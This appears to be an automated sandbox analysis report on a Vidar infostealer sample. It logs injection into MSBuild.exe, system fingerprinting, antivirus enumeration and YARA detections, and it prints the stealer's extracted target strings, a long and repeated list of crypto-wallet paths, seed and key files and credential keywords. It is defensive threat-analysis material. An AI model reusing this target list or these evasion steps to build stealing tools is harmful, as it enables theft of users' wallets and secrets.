Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 85B008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AAD01B cpuid

0_2_00AAD01B

Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00A9C0C4
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00A9C079
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00A9C1EA
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00A9C15F
Source: C:\Users\user\Desktop\file.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	0_2_00AD13E3
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00A9C43D
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00A9C566
Source: C:\Users\user\Desktop\file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_00AD3576
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00A9C66C
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00A9C73B
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00A95ACF
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	0_2_00AD5A50
Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_00AD6B40
Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00AD4DC4
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00A9BDD7
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	0_2_00AD5D6E
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00A95F79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0042B1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	1_2_0042B2E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	1_2_0042B3E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_0042B388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	1_2_0042AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	1_2_00425503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	1_2_0042B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	1_2_004275BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	1_2_0042B676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_00428EE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429E8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	1_2_0042E68F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00427696
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_0042B743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B707
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	1_2_0042E7C4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A87565 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00A87565

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.1.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.aacae0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.aacae0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6616, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,*.mp3\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet 